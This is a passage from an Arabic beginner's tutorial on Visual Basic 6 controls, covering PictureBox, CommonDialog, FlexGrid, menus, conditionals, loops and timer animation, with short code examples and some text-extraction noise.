 MouseIcon ..شكل أيقونة الماوس من الأشكال التلقائية

 MousePointer خارجية اختيار شكل مؤشر الماوس من أيقونة
 Picture الأداة اختيار صورة ووضعها داخل إطار

 نص المساعدة الذي يظهـر لـو توقفـت بالمـاوس    
 ToolTipText أعلى الصورة لمدة قصيرة

 Top الفورم د الصورة عن أعلىخاصية بع
 Visible مخفية هل الصورة ظاهرة أم

 Width الصورة خاصية عرض
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  :التشغيل أثناء الصور تحميل

من المعروف أن هناك عدد من التطبيقات التي تعتمد على الصور الخارجيـة             
 فـسيكون عليـك     AcdSeeفلو آنت تريد أن تصنع متصفح للصور مثلا مثل          ... 

ويمكـن ذلـك مـع الأداة       ...  مـن ملفـات خارجيـة إلـى تطبيقـك            تحميل الصور 
PictureBox عن طريق الأمر LoadPicture..   

  : تكتب آالتاليLoadPictureوصيغة الأمر 

Picture1.Picture = LoadPicture(PicturePath) 

  ...  لابد وأن يكون المسار آاملا Picture Pathوالـ 

  :الصورة قلب

 ٢ها مقلوبــة باســتخدام هــذه الاداه فقــط ضــع  يمكنــك نــسخ صــورة و لــصق 
Picture Box و ، واحدة بها الصورة و واحدة التي سينقل اليها الصورة مقلوبة

  :لقلبه نستخدم هذه الاآواد

 :للنسخ الطبيعي الوضع )١

Private Sub Command1_Click() 

Picture2.PaintPicture Picture1.Picture, 0, 0, _ 

Picture1.Width, Picture1.Height, 0, 0, _ 

Picture1.Width, Picture1.Height, vbSrcCopy 

End Sub 

  :الافقيالوضع ) ٢

 Private Sub Command2_Click() 

Picture2.PaintPicture Picture1.Picture, 0, 0, _ 

Picture1.Width, Picture1.Height, Picture1.Width, _ 

0, -Picture1.Width, Picture1.Height, vbSrcCopy 

End Sub 
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  :الرأسي الوضع) ٣

Private Sub Command3_Click() 

Picture2.PaintPicture Picture1.Picture, 0, 0, _ 

Picture1.Width, Picture1.Height, 0, Picture1.Height, _ 

Picture1.Width, -Picture1.Height, vbSrcCopy 

End Sub 

  :الصورة قلب) ٤

Private Sub Command4_Click() 

Picture2.PaintPicture Picture1.Picture, 0, 0, _ 

Picture1.Width, Picture1.Height, Picture1.Width, _ 

Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy 

End Sub 

Check Box 

و فـي هـذا المثـال سأشـرح         ، هذه الاداه سهلة و مهمة فـي نفـس الوقـت          
  ..خدامهاآيفية است

 CheckBox و عند الـضغط علـي        Image و   CheckBoxسنضع  : الفكرة •
  ..تتغير قيمته و تظهر الصورة حسب القيمة

  :CheckBoxاآتب هذا الكود في  •

Private Sub Check1_Click() 

If Check1.Value = 1 Then 

Image1.Visible = True 

End If 

End Sub 
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 فهو قيمـة الـصندوق و       Check1.Valueواحد بجانب   بالنسبة الي رقم     •
  :تكون آالتالي

0  Unchecked  

1  Checked      

2  Grayed        

Option Button 

ــار واحــدة فالبــاقي لا  ، عنــدما توضــع آــذا آــائن مــن هــذه الاداه   فعنــد اختي
 ٣ و   ٢ و   ١ و سميناهم    ٣فمثلا اذا وضعنا    ، ان تفهموا ما اقصد   ارجو  .. يعملون

 Option1 و اردنا ان عند اختيـار  False لتكون Visibleو غيرنا  ،  صور ٣و وضعنا   
و لفعــل ذلــك نكتــب الكــود فــي  ..  وهكــذا١رقــم واحــد تظهــر الــصورة رقــم  

Option1هكذا :  

Private Sub Option1_Click() 

Image1.Visible = True 

Image2.Visible = False 

Image3.Visible = False 

End Sub 

  ... تعني ان الكائن محددTrueو القيمة 

  ... مع تغيير ظهور الصورة2 و Option1و الان قم بتكرير الكود في 

Combo & List Box 
  :Combo Box: اولا
 :في الفورم لوضع اختيارات في هذا الصندوق نكتب الكود التالي •
  

Private Sub Form1_Load() 
Combo1.AddItem “Ehab” 
Combo1.AddItem “Ahmed” 

End Sub 
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 و اذا اردت اضــافة Ahmed و Ehabو بهــذه الكــود يتــزود الــصندوق بكلمتــي  
  ..اسماء اخري فاستخدم نفس الكود ولكن مع تغيير الاسماء

  
 الموجــودة بــصفحة الكــود Changeلكتابــة الكــود عليــك اولا تغييرالاجــراء ) ٢

  : ثم اآتب الكود التاليClickصة بالصندوق الي الخا
  

Private Sub Combo1_Click() 
Select Case Combo1.ListIndex 

Case 0 
Expression 

Case 1  
Expression 
End Select 
End Sub  
 

 
  :الشرح

و لـيس    Case 0 و قـد بـدأت ب  Select Caseلاحـظ انـي اسـتخدمت قاعـدة     
Case 1ف Case 0  سـم   مسئولة عـن الاEhab  امـا Case 1   فمـسئولة عـن 
 فتعنـي انـه سـيقوم       Combo1.ListIndexاما بالنسبة الي    ، Ahmedالاسم  

 قـصدت بهـا انـه يمكـن         Expressionو آلمـة    ، التحكم فـي عناصـر الـصندوق      
  Label1.Caption = Ehab  اوImage1.Visible = Trueآتابة اي حدث مثل 

 .Select Case قاعدة  تنهيEnd Selectاما نهاية الكود ، الخ..
 

 
  :List Box: ثانيا

  
 :في الفورم لوضع اختيارات في هذا الصندوق نكتب الكود التالي •
  

Private Sub Form1_Load() 
List1.AddItem “Ehab” 
List1.AddItem “Ahmed” 

End Sub 
  

ــي     ــة بكلمت ــزود القائم ــود تت ــذه الك ــاAhmed و Ehabو به فة  و اذا اردت اض
  ..اسماء اخري فاستخدم نفس الكود ولكن مع تغيير الاسماء
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 الموجــودة بــصفحة الكــود Changeلكتابــة الكــود عليــك اولا تغييرالاجــراء ) ٢
  : ثم اآتب الكود التاليClickالخاصة بها الي 

  
Private Sub Combo1_Click() 
Select Case List1.ListIndex 

Case 0 
Expression 

Case 1  
٣. Expression 
٤. End Select 

End Sub 
  ..ComboBoxالشرح آما هو في 

  

 
Scroll Bars 

 
 في برنامجك يجب اولا وضع شيء لتحريكه بواسـطة  Scroll Barلاستخدام 
Scroll Barفضع ،  و لتكن صورة و لتحريكها بهذه الاداه يمينا و يساراHScroll 

 الـي   Min الـي الـرقم المناسـب و         Maxيجب اولا تغيير الخاصـية      ، VScrollو  
  ..الرقم المناسب

  
  :HScroll1اآتب الكود التالي في 

  
Private Sub HScroll1_Change() 

٥. Image1.Left = HScroll1.Value 

End Sub 
 

  :VScroll1و ضع هذا الكود في 
  
  

Private Sub VScroll1_Change() 
٦. Image1.Top = VScroll1.Value 

End Sub 
 

و يمكنـك اسـتعماله مـع خـصائص اخـري           ، ر علـي اسـتعماله    هذا مثال صغي  
  ..بأرقام اخري



ezonet@hotmail.com 28

  
 هي عند تحريك الـشريط حرآـة آبيـرة فكـم يعـدي              LargeChangeالخاصية  
 ..عند تحريك الشريط مرة واحدة SmallChangeو ، من الارقام

 

 Imageأداة الصور

ضع الصور داخل تطبيقاتك وهي     أداة الصور هي الأداة الثانية التي تتيح لك و        
ــز عــن الأداة الــسابقة فــي بعــض الخــصائص وتعــاب عنهــا فــي بعــض     تتمي

  الخصائص الأخرى

  :أهم خصائص الأداة 

 Name خاصية الإسم
 Appearance طريقة الظهور

 BorderStyle شكل الإطار الخارجي
 Enabled هل الأداة فعالة أم لا

 Height ارتفاع الأدراة
 Left ة عن يسار الفورمبعد الأدا

 MouseIcon شكل الماوس
 MousePointer مؤشر الماوس

 Picture تحميل صورة من ملف خارجي في الأداة
 Stretch  تحجيم الصورة بحجم الأداة

النص الذي يظهر عند التوقف بالماوس فوق الأداة
 ToolTipText قصيرة مدة

 Top خاصية بعد الأداة عن قمة الفورم
 Visible الأداة ظاهرة أم مخفيةهل 

 Width خاصية عرض الأداة

 PictureBox والتـي لا تتـوفر فـي الأداة          Stretchوتتميز هـذه الأداة بخاصـية       
ــر مــن       وهــي مــن الخــواص التــي ســتجعلك تفــضل هــذه الأداة فــي الكثي

  …برامجك

او  PictureBox فـي اداه  يمكن تحميل الصور أثنـاء التـشغيل آمـا            : ملحوظة
  ..CommonDialog تخدامباس
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  OLE آائن
 

، تستخدم هذه الاداه في العمل مـع البـرامج الاخـري عـن طريـق الفيجـوال                
  .. او غيرهاWord او ملف Bitmapمثل الصورة النقطية 

  
و في هذا المثال سنتعامل مع الصورة النقطية لأن لا اعتقد ان هنـاك جهـاز                

  ..PaintBrushرنامج في العالم لا يحتوي علي ب
  

  :يفتح هذا الصندوق الحواري، بمجرد وضع الاداه علي النموذج
  

  
  

 فـي هـذا   Bitmap Imageاختر البرنامج الذي تريد التعامـل معـه و سـيكون    
 Display Asو اذا اردن ان تظهر ايقونة البرنامج مع الاداه اضغط علي ، المثال
Icon..  

  
ارسم الصورة التـي تريـدها ثـم        ، سيتم فتح برنامج الرسام    OKبمجرد ضغط   
  ..اغلق البرنامج

  
ــامج    ــالنقر نقــرا مزدوجــا علــي ايقونــة البرن ، والان عنــد تــشغيل البرنــامج وب

  ..سيفتح البرنامج و به الصورة التي رسمتها
 

Rich Text Box 

 فيمكنـك الـتحكم مـن        لانها افـضل بكثيـر     Textهذه الآداه تستخدم بدلا من      
خلالها من اشياء آثيرة فاذا اردت ان تـصنع برنـامج نـصوص فاسـتخدم هـذه                 

  ..الآداه و سأقول البعض من مميزاتها منها

التحكم في خصائص الكتابة بالكود فمثلا بالضغط علي زر يصبح الخـط        ) ١
  :و تكون الاآواد آالتالي، الخ.. سميك
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 RichTextBox1.SelBold = True       :خط سميك

 RichTextBox1.SelItalic = True       :خط مائل

 .… = RichTextBox1.SelFontName       :اسم الخط

 .… = RichTextBox1.SelFontSize       :حجم الخط

 RichTextBox1.SelAlignment = X             :المحاذاه

 ٣ فهـي للوسـط و   ٢ و واحد تعني محاذاه يمـين ام  ٣ او ٢ او ١هي اما  Xو 
ولكن يجب آتابـة الامـر      ، TextBoxو تعمل ايضا في     ... ه لليسار هي للمحاذا 

On Error Resume Next   في بداية آل آود لأن اذا ضغط احد علـي زر هـذا 
ولكـن بوجـود هـذه      ، سـتظهر رسـالة خطـأ     ، الكود و لـم يكـن يحـدد نـص مـا           

  ..السطور لن يحدث هذا

و يمكن ايضا وضـع شـريط تحريـك افقـي او رأسـي عـن طريـق تغييـر               ) ٢
ScrollBars فـــــــي الخـــــــصائص الـــــــي vbBoth او vbVerticaly او 

vbHorizontaly... 
ــات     ) ٣ ــتح ملفــ ــضا فــ ــن ايــ ــه  txtيمكــ ــن طريقــ ــد درس .. ( عــ تفقــ

(CommonDialog  

 

 
Common Dialog 

 
 

  
ولكننـي سأشـرح القليـل منهـا        ، تستخدم هذه الاداه في آثير من الاشـياء       

  ..الآن
  
  :اظهار لوحة الالوان: ولاا

 فتح قائمة الالوان لتغيير لون الفورم او Common Dialogنستطيع من خلال 
  :و قائمة الالون تكون آالتالي، الخ.. شكل
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  ...و اعتقد ان الجميع يعرفها
  

  : في اظهار هذه اللوحة نقوم بالآتيCommon Dialogلأستخدام 
  . في الفورمCommon Dialogوضع  ) ١
 .وضع الزر الذي عند الضغط عليه تظهر اللوحة ) ٢
 .وضع الكائن المراد تغيير لونه ) ٣
 :آتابة الكود التالي في الزر ) ٤

 
Private Sub Command1_Click() 

  CommonDialog1.Flags = &H1& 

  CommonDialog1.ShowColor 
٧.   Element.Action = CommonDialog1.Color 

End Sub 
 

  :الشرح
ــد ــة الامــر عن ــامج باظهــار  CommmonDialog1.ShowColor آتاب  يقــوم البرن

 هي الكائن المراد تغييـر      Element فأن   Element.Actionاما  ، صندوق الالوان 
 اي لون مقدمـة     ForeColor فهي اما    Action اما   Form1 او   Label1لونه مثل   

ر  و هــو لــون الاطــا  BorderColor و هــي خلفيتــه او  BackColorالكــائن او 
 هــي ان CommonDialog1.Colorو ، الخــارجي و يكــون فــي الاشــكال فقــط

  ..لون ما اخترت تغييره سيكون اللون المختار من صندوق الالوان
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  :فتح ملفات الصور: ثانيا
، gif او jpg او bmp فـتح ملـف صـورة    Common Dialogنستطيع مـن خـلال   

  :ذلك عن طريق اتباع الآتي
  

  . الفورم فيCommon Dialogوضع ) ١
 .وضع الزر الذي عند الضغط عليه يظهر صندوق الفتح) ٢     
 .Picture او Imageوضع  ) ٣
 :آتابة الكود التالي في الزر ) ٤

 
Private Sub Command1_Click() 
CommonDialog1.Filter = "Bitmaps (*.bmp)|Jpeg (*.jpg)”" 
CommonDialog1.ShowOpen 
If CommonDialog1.FileName <> "" Then 
Picture1.Picture = LoadPicture(CommonDialog1.FileName) 

٨. End If 
End Sub 

 
فــي الــسطر الاول تمــت آتابــة نــوع الملفــات التــي يــتم اظهارهــا و ممكــن  

 بفــتح نافــذة الفــتح لاختيــار Common Dialogو فــي الثــاني يقــوم ، زيادتهـا 
  ...الصورة و وضعها في الصورة

  
  :txtتح ملف ف: ثالثا

 فتح ملف نص و ذلك عن طريـق اتبـاع   Common Dialogنستطيع من خلال 
  :الآتي

  
  . في الفورمCommon Dialogوضع ) ١
 .وضع الزر الذي عند الضغط عليه يظهر صندوق الفتح) ٢     
 .RichTextBoxوضع  ) ٥
 :آتابة الكود التالي في الزر ) ٦

 
Private Sub Command1_Click() 
CommonDialog1.Filter = "Text (*.txt)" 
CommonDialog1.ShowOpen 
If CommonDialog1.FileName <> "" Then 
RichTextBox1.LoadFile (CommonDialog1.FileName) 
End If  
End Sub 
 

و فـي   ، في الـسطر الاول تمـت آتابـة نـوع الملفـات التـي سـيتم اظهارهـا                 
يـار الملـف و وضـعه     بفـتح نافـذة الفـتح و اخت   Common Dialogالثاني يقوم 

  ...TextBoxفي 
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هذه هي اهم مهام لهذه الاداه واذا اردت معرفة المزيد راجع الجـزء الخـاص               

TextBox..  
 

 FlexGrideاداه الجدول المرن 

 : الجدول  فيالبيانات لادراج طرق ٣ هناك
 معينة بالانتقال اليها بتحديد الخاصيتين  Cell تحديد خلية:  الطريقة الأولى

Row ،    Col يلى ذلك آتابة النص المراد فيها بالخاصية .. Text  
ــا وذلــك بالانتقــال إلــى الخليــة     : الطريقــة الثانيــة تحديــد نطــاق مــن الخلاي

يلى ذلـك تحديـد الـرآن المقابـل      Col و Row المحددة لأحد أرآان النطاق بـ
 ثم نقوم بملئه بعبـارة واحـدة  هـي الوظيفـة     Colsel و Row Cel بالخاصتين

Clip للجدول  حيث تملأ النطاق باستخدام نص و String     ولتوزيـع محتويـات
بـادراج أحـرف    النص على الخلايـا  المختلفـة والـصفوف المختلفـة يـتم ذلـك      

 يفصل بـين الأعمـدة المختلفـة بينمـا     VB Tab للتحكم ضمن النص ، الحرف
VBCR يفصل بين صف وآخر . 

وهي دالة تمكنك مـن الكتابـة فـي     Text matrix استخدام : الطريقة الثالثة
خلية معينة مباشرة  بعبارة واحدة وذلـك مـن خـلال تحديـد الـصف والعمـود                  

  للدالة 

  :مثال

Private Sub Form_Load() 

With MSFlexGrid1 

 .Rows = 3 

 .Cols = 3 

  

 .Row = 0: .Col = 0: .Text = "الاسم" 

 .Col = 1: .Text = "الجنسية" 

 .Col = 2: .Text = "رقم الهاتف" 

 

 .Row = 1: .Col = 0: .RowSel = 1: .ColSel = 2 
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 .Clip = "ايهاب" & vbTab & "السودان" & vbTab & "6328612" 

 

 .TextMatrix(2, 0) = "السودان" 

 .TextMatrix(2, 1) = "السعودية" 

 .TextMatrix(2, 2) = "4527894" 

 

 .AddItem "سمير" & vbTab & "الاردن" & vbTab & "9854326" 

End With 

End Sub 

 

  :آما يلي و ستجد الجدول شغل البرنامج و الان

  

 
  التحكم في سلوك الجدول

 
  :من ابرز الخصائص الخاصة بتغيير سلوك الجدول ما يلى

 
AllowBigsseleCtion :           تحدد امكانية تحديد عمود بنقـر عنوانـه الـرئيس أمـلا 
  . ونفس الحال مع الصف

 
AllowUserResizing :      تحــدد امكانيــة  تغييــر المــستخدم لابعــاد الأعمــدة

  والصفوف  ديناميكيا اثناء عمل البرنامج أم لا
  

FillStyle :ــدأ بـ ــ وغيرهــا   CellFontName مثــل Cell الخــصائص التــى تب
بالقيمـة   FillStyle تستخدم لتغيير آافة الخلايا  المحددة إذا آانـت الخاصـية  
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واحد أما إذا  آان قيمتها صفر فـإن تـأثير الخـصائص المـشار إليهـا لا بتعـدى                    
  . الخلية الفعالة وحدها

 
MergeCells :            يحدد السماح مدمج الخلايا ، هذا الدمج يتم آليا إذا آانت قيم

الخلايا المتجاورة متشابهة ، قد نسمح بالـدمج  بـين الأعمـدة فقـط أو بـين                  
  . ين آليهما أو نمنعه تمامًاالصفوف فقط أو ب

 
SelectionMode :             يحدد هل يمكن تحديد الخلايا في أي مكـان مـن الجـدول

  .أم أن التحديد  سيمتد اجباريًا ليشمل عمود بالكامل أو صف بالكامل 
 

 احداث الاداه
 

 : هي الجدوليطلقها التي  أهم الأحداث
Entercell :آل مرة يتم انتقال الترآيز إلى الخليةينطلق هذا الحدث في  

Leave cell :عكس الحدث السابق فهو يقع عند فقدان الخلية للترآيز . 
RowColchange :ينطلق عند انتقال  الترآيز  من خلية إلى أخرى . 

Selchange : ينطلق عندما يتم تغيير نطاق التحديد.  

  

 
 التحكم في مظهر الاداه

 
 

 : الكتابة وهي  الوانتتحكم في خصائص هناك

:ForeColor لتحديد لون النص في الخلية العادية . 
 :ForeColorFixed لتحديد لون النص في الخلية الثابتة . 

 :ForeColorSel لتحديد لون النص في الخلية المعلمة . 
  

مــن   مختلفــةمنــاطق لــون الخلفيــة  فــي خاصــة  بتحديــد هنــاك مجموعــة
 :الجدول

 :BackColor للخلية العادية . 
 :BackColorFixed للخلية الثابتة . 

 :BackColorSel للخلية المعلمة 
 :BackColorBkg        للمنطقة الخلفية مـن الجـدول التـى لا تحتـوي علـى أيـة

 خلية
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خلايــا إذا أردت الــتحكم فــي لــون خليــة منفــردة أو مجموعــة معلمــة مــن ال  
آمـا يمكنـك    CellBackColor و CellCoreColor يمكنـك اسـتخدام الخـصائص   

 .. CellPicture تحديد صورة لعرضها في خلية بالخاصية
 .. Font يمكن التحكم في الخط المستخدم للجدول بالخاصية

ــا علــى انفــراد باســتخدام     ــتحكم فــي خــط أحــد الخلاي       آمــا يمكــن ال
CellFontName  و  CellFontSize      ومجموعـة شـبيهة مـن الخـواص تبـدأ و 

CellFont .. 
  

التـي تفـصل     في خطوط الـشبكة    من الخصائص تتحكم   ايضًا هناك مجموعة  
 : وهي Grid  بـالجدول وتبدأ آلها خانات

 :GridColor لتحديد لون الخطوط بين الخلايا العادية . 
 :GridColorFixed ن الخلايا الثابتةلتحديد  لون الخطوط  بي . 

 :GridLines تتحكم في ظهور الخطوط من عدمه . 
 :GridLinesFixed تتحكم في ظهور الخطوط من عدمه بين الخلايا الثابتة . 
 :GridLineWidth تتحكم في سمك الخطوط.  

  

  
  

  القوائم
 

 في شريط Menu Editor علي لاضافة قائمة الي برنامجك فيمكنمك الضغط
 :سيظهر صندوق هكذا، Menue Editor ثم Toolsاو اختيار قائمة ، الادوات
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  :محتوياته

  
  . يوضع ما يكتب في القائمةCaptionبجانب آلمة  ) ١
  . تكتب اسم القائمةNameبجانب آلمة  ) ٢
 .خال ...Ctrl + N تقوم بأختيار الاختصار مثل Shortcutبجانب  ) ٣
٤ ( Checkedمعناها ان التعامل مع القائمة سيكون بالعلامات . 
٥ ( Enabledو هي اذا آانت القائمة متاحة ام لا . 
٦ ( Visibleو يقصد بها ان اذا آانت القائمة ظاهرة ام لا . 

  
  

اذا اردت ان تفتح قائمة من قائمة فرعية فقـم بالـضغط علـي الـسهم        •
جديدة من القائمة التـي قبلهـا و للعـودة           لفتح قائمة    Next بجانب   

   ...الي القائمة الرئيسية اضغط علي 
  

اذا اردت ان يوضع خط تحت حرف مـا فـي الكلمـة اي ان عنـد الـضغط           •
 قبل الحرف المـراد وضـع       & ثم هذا الحرف لتعمل فقم بوضع        Altعلي  

  ..Caption في خاصية – و اذا اردت وضع فاصل فضع  ..خط تحته

  انشاء قائمة بالكود
 

  :لانشاء قائمة عن طريق الكود اتبع الاتي

 ثـم اآتـب     0 الي   Indexغير  ، Mnuانشئ قائمة فرعية باسم ما و ليكن        
  :هذا الكود في زر الاضافة

Dim index As Integer     

  index = Mnu.Count     

  Load Mnu (index) 

  Mnu(index).Caption = "قائمة جديدة"     

  Mnu(index).Visible = True 

و يمكنـك تغييـره آمـا       ، قائمة جديدة هو اسم القوائم الجديدة التي ستنشأ       
 لتنـشأ القائمـة     TextBox بدلا من الاسـم و وضـع         Text1.Textيمكنك آتابة   

  ..باسم التكست
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  لفتح قائمة من ليبل او شكل
 

  ..في هذا الجزء سنضع ليبل و عند الضغط عليه تظهر قائمة ما

  ..واحدة لانشاء القائمة و واحدة للمشروع،  فورم٢ضع  •
  .. الليبل٢ اي قوائم تريدها و في فورم ٢ضع في فورم  •

  :اآتب هذا الكود في ليبل

Private Sub Command1_Click() 

PopupMenu Form2.mnu1, 1, Image6.Left - 960, Image6.Top + 
825 

End Sub 
 

فقـط اعـرف ان     ، ولا اعتقـد انـه بحاجـة لـشرح        ، هذا الكود اسهل مما يمكـن     
mnu1           امـا عـن     ،  هو اسم القائمة الموجـودة فـي الفـورم الاخـرLeft   و Top 

   ..فهذا مكان ظهورالقائمة
 

  وضع صورة بجانب القائمة
 

  

  .Picture Box ضع اداه ) ١
 .True الي AutoSizeغير خاصية  ) ٢
 .١٣ x ١٣يجب ان لا تزيد الصورة عن  ) ٣
  :Moduleاآتب هذا الكود في  ) ٤

Private Declare Function VarPtr Lib "VB40032.DLL" (variable As 
Any) As LongPrivate  

Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As 
LongPrivate  

Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, 
ByVal nPos As Long) As LongPrivate  

Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu 
As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal 
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hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As 
Long 

Const MF_BYPOSITION = &H400& 

  :و هذه الكود في الفورم

Dim mHandle As Long, lRet As Long, sHandle As Long, sHandle2 
As Long 

mHandle = GetMenu(hwnd) 

sHandle = GetSubMenu(mHandle, mnu#) 

lRet = SetMenuItemBitmaps(sHandle, chos#, MF_BYPOSITION, 
Picture1.Picture, imOpen.Picture) 

lRet = SetMenuItemBitmaps(sHandle2, 0, MF_BYPOSITION, 
imCopy.Picture, imCopy.Picture) 

 هـي رقـم الاختيـار       #chos و    ،0 هي رقم القائمـة و تبـدأ مـن           #mnuحيث  
  .. و طبعا يمكن زيادتها0في هذه القائمة و تبدأ من 

  

If … Then 

 
 

و تستخدم في الشروط فمعناها     ، د فيجوال بيسيك   من اشهر قواع   Ifقاعدة  
و ان لم يحـدث سـيحدث شـيء         ، ان اذا حدث شيء فسيحدث هذا الشيء      

  ...ولكن آيف نكتب هذا في طريقة آود؟؟ هذا ما سنعرفه، اخر
  

  :تتكون هذه القاعدة من عدة اشياء و هي آاللآتي
  

١ ( IF :    و هــي اول شــيء يكتــب فــي الكــود و معناهــا ان اذا تحقــق
  . معينشيء

٢ ( Then :   تكتب بعد الحدث الذي يكتب بعدIf   و معناهـا ان اذا تحقـق 
 .فسيتحقق شيء آخر) Ifالحدث بعد ( الشيء 

٣ ( Else : و هــي اذا لــم يتحقــق الحــدث الــذي بعــدIf يتحقــق شــيء 
 .و هي ليست درورية اي لا تستخدم في آل الاآواد، لآخر
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٤ ( ElseIf :      تكون حدث جديد فهي مثلIf  دلا مـن ان    ولكـن ب ـ  ،  العاديـة
 و تكملـة  ElseIf نقـوم بكتابـة   End If و Ifنقوم بكتابة آود جديد به 

 .الكود
٥ ( End If :  و تكتب في نهاية الكود لايقاف القاعدة و هي مهمة جـدا

 .و تكتب في آل الاآواد
  

بكتابـة قاعـدة آاملـة بكائنـات      و الان لنقوم بتطبيق بـسيط علـي مـا سـبق    
  ..عشوائية

 
Private Sub Command1_Click() 

If Text1.Text = “Ehab” Then 
Image1.Visible = True 
ElseIf Text1.Text = “Bibo” Then 
Image1.Visible = True 

٩. Else 
Image2.Visible = True 
End If 
End Sub 
 

 
  :الشرح

عند آتابتها صحيحة تظهر صورة      Passwordو آما يتبين من الكود انه يشبه        
 فاستخدمت، صورة اخريو عند آتابتها خاطئة تظهر 
If Text1.Text = “Ehab” اي ان لو الكتابة في التكست Ehab   فانـه ينتقـل 

 ثـم  Then عـن طريـق آتابـة    Image1.Visible = Trueالـي الحـدث التـالي    
 فـــسيتم اظهـــار الـــصورة ايـــضا و ذلـــك Biboو اذا آانـــت تكـــست ، الحـــدث

ــتخدام  ــست  ، ElseIfباسـ ــست ليـ ــت التكـ ــستEhabو اذا آانـ  Bibo  و ليـ
  .Elseستظهر الصورة الثانية و ذلك باستخدام 

  
    .ارجو ان تكون طريقة شرحي جيدة و يفهمها الجميع

  
 :IFFالدالة 

 :آالتالي If..Else هي تستخدم آاختصار لدالة
  

Private Sub Command1_Click 
X = Text1.Text 
MsgBox IIf(X = 7, "X=7", "X<>7") 
End Sub 
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 فـستظهر  ٧ = ١واذا آانت تكست، ففي هذا المثال وضعت تكست و زر امر     
  ..رسالة تثبت ذلك و العكس صحيح

  

Select Case 
 

  

إذا آان جواب الشرط عبارة عن احتمالين أو ثلاثة  أما  if تصلح عبارة الشرط
ييمك لشرط معـين احتمـالات آثيـرة فمـن الأفـضل أن             إذا آنت تتوقع عند تق    

 :  وتكون صيغتها العامة ما يلى Select Case    نستخدم عبارة
 يليها اسم المتغير او التعبير الذى سيتم اختباره Select Case تبدأ العبارة بـ

. 
 بعـد آـل منهـا احـدى قـيم المتغيـر الـذى         Caseتأتي بعد ذلـك الاحتمـالات   

ثم يعقبها التعليمات التى ستنفذ إذا آان  الشرط صحيحًا  أو            ستتم مقارنته   
 . آان المتغير بهذه القيمة

ومعناهـا إذا آـان المتغيـر لا يـساوي أيًـا مـن القـيم         Case else واخيرًا  يأتى
هـي   Else السابقة أو إذا لم يكن الشرط صحيحًا  فإن التعليمات التـى تلـى  

 .التى تنفذ 

 

  :ضع تكست بوآس و زر امر و اآتب به هذا الكود :لمثا

Private Sub Command1_Click 

Select Case Text1.Text 

Case "Bibo" 

MsgBox "You Choosen Bibo.." 

Case "Ehab" 

MsgBox "You Chosen Ehab.." 

Case Else 

MsgBox "Wrong!" 

End Select 

End Sub 
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، Bibo= اذا آانـت تكـست   ،  الـزر آما يتبين من الكود انه عنـد الـضغط علـي          
فيقـوم البرنـامج بارسـال      ، Ehabو اذا آانـت     ، فسيقة البرنامج باظهار رسالة   

  ..رسالة مختلفة و اذا لم تكن هذا او ذاك فسيظهر رسالة اخري

For.. Next 

 
 

  :هذه القاعدة من اهم قواعد الحرآة التكرارية و تكتب آالاتي
 
Private Sub Command1_Click() 

For X = 1 To 10 Step 2 
Print X 
Next X 
End Sub 

  
و عنـد  ، آما تري من الكود السابق انه ليس عندنا سوا آائن الفورم و زر امر      

 الي عشرة ولكن خطوتـان    ١يتم طباعة ارقام علي الفورم من       ، الضغط عليه 

   ..٩، ٧، ٥، ٣، ١: خطوتان اي تكتب الارقام
  
  

  :شرح الكود
  عن طريق آتابة١٠ الي ١ هي الارقام من Xفي السطر الاول آتبت ان 

For X = 1 To 10 ،  امـاStep 2   و فـي الـسطر   ،  فهـي خطـوة العـدPrint X 

   .. هي نهاية الكودNext Xو ، يقوم البرنامج بطباعة ماحدث
 

While.. Wend 

 
 

عنـد  و، شيء معين اثناء حدوث حدث معين     هذه القاعدة تستخدم في فعل      
  :و تتكون القاعدة من، انتهاء هذا الشيء ينتهي الحدث

While ،Wend 
 

  :مثال يتم آتابة الكود آالآتي
Private Sub Command1_Click() 
Score.Caption = “0”    

١٠. While Score.Caption < 10  
Score.Caption = Score.Caption + 1 
Wend    
End Sub  
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و طالما الرقم الموجود به اصـغر       ، Scoreو في هذا المثال عندنا ليبل اسمه        

  .. الي ان تصل الي الرقم عشرة١ فيقوم البرنامج بزيادة ١٠من 
 

Do.. Loop 
، ار شيء مـا الـي ان يحـدث شـيء مـا     تستخدم في تكر Do.. Loop قاعدة

  :تتكون منو
  

١ ( Do :لفعل شيء  هي اول شيء يكتبو.  
٢ ( Loop Until :      تكتب بعـد الحـدث الـذي يكتـب بعـدDo  و معناهـا ان 

 .هذا الشيء سيتم تكريره حتي يحدث شيء ما
  :يتم آتابة الكود آالآتي

Private Sub Command1_Click() 
Score.Caption = “0”    

١١. Do  
Score.Caption = Score.Caption + 1    
Loop Until Score.Caption = “10”   

End Sub 
 

 الـي   ١يقـوم البرنـامج باضـافة       ، Scoreففي هـذا الكـود عنـدنا ليبـل اسـمه            
  ..الرقم حتي تصل الي الرقم عشرة

 

 التحريك

 لكتابــه Timerلتحريــك اي صــوره او ليبــل او اي آــائن اخــر يجــب اولا اضــافة 
 صـوره سـمها      أضـف  ..لة جـدا و سأشـرحها الان      و آود الحرآة سه   ، الكود به 
Image ،ميقاتي وسـمه     و TmrMove      واجعـل القيمـة Interval     لـه تـساوي
و فــي صــفحة الكــود ) ١٠٠٠للانترفــال قواعــد ثابتــة فالثانيــة تــساوي ( ٥٠٠

 :اآتب هذه الكود

Private Sub TmrMove_Timer() 
Image.Move Image.Left + 120, Image.Top + 120 
End Sub 

  
 يتبين من الكود ان الصورة ستتحرك لليسار و  :و الآن لنقوم بشرح الكود

و اذا اردتهـا تتحـرك لليـسار فقـط فقـم بتغييـر       ،  Twip ١٢٠للاسفل بمقـدار  
ولكن ماذا عن اليمـين و الاعلـي؟؟ راجـع    ..  وهكذا٠ الي  Topالرقم بجانب 

  ...الجدول الاتي و ستجد الحل
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ــة  قيمـ
Top قيمة Left اه الحرآةاتج

 لليمين + 0
 لليسار - 0
 للأعلى 0 -

 للأسفل 0 +

ــين + + لليمـــــــــــ
 والأسفل

ــين + - لليمـــــــــــ
 والأعلى

ــسار - - لليـــــــــــ
 والأعلى

ــسار - + لليـــــــــــ
 والأسفل

 التصادم بجدران الفورم

 

حتـى  ... في هذا الدرس سنصمم معا مثالا عبارة عـن صـورة تتحـرك أفقيـا                
ومن ثم تعكس اتجاهها لتسير في الإتجاه المقابـل  ... الفورم إلىجدار  تصل

...  

